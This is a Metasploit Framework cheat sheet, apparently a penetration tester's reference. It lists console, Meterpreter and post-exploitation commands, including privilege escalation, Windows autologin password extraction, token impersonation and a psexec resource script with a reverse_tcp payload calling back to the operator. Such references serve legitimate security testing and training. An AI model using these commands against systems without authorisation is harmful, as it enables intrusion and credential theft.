Metasploit Framework (MSF)
The world’s most used penetration testing framework Metasploit
Start
Start db
msfdb startor
systemctl start postgresqlStart metasploit framework console
msfconsoleExploits
Select exploit
use <exploit>Run exploit
runor
exploitOptions
Show options
show optionsShow advanced options
show advancedSet option
set <option> <value>Set option (global)
setg <option> <value>Payloads
Show payloads
show payloadsSelect payload
set payload <payload>Sessions
Show sessions
sessions -hInteract with session
sessions <number>Send session to background
backgroundMeterpreter
The shell command will present you with a standard shell on the target system.
shellMetasploit has a Meterpreter script, getsystem, that will use a number of different techniques to attempt to gain SYSTEM level privileges on the remote system.
getsystemEncoders
Show encoders
show encodersSelect encoder
set encoder <encoder>Misc
Search for exploits
search <term>Go back
backDisplay help
helpGet info about current context?
infoshow auxiliaryMulti/handler
Just start listener
use exploit/multi/handlerJobs
Start job in background
run -jShow jobs
jobsPost exploitation
This module suggests local meterpreter exploits that can be used.
use post/multi/recon/local_exploit_suggesterThis module extracts the plain-text Windows user login password in Registry.
use post/windows/gather/credentials/windows_autologinThis module will login with the specified username/password and execute the supplied command as a hidden process.
use post/windows/manage/run_asMeterpreter session
Upgrade shell to meterpreter shell
post/multi/manage/shell_to_meterpreterMigrate to other (e.g. more stable) process
migrateGet system info
sysinfoPort forwarding
portfwd add -l <port> -r 127.0.0.1 -p <port>Impersonation (Windows)
Look for privileges like SeImpersonatePrivilege, SeDebugPrivilege, etc.
whoami /privLoad incognito module and list available tokens
load incognito
list_tokens -gImpersonate e.g. BUILTIN\Administrators
impersonate_token "BUILTIN\Administrators"Migrate to a process with the correct permission, to actually get the elevated permissions (token != permission).
ps
migrate <pid>Resource Scripts
Resource scripts provide an easy way for you to automate repetitive tasks in Metasploit.
msfconsole -r demo.rcdemo.rc
use exploit/windows/smb/psexec
set rhost <ip>
set smbuser Administrator
set smbpass <hash-or-password>
set smbdomain <domain>
set payload windows/meterpreter/reverse_tcp
set AutoRunScript post/windows/manage/smart_migrate
setg lport 443
setg lhost <own-ip>Last updated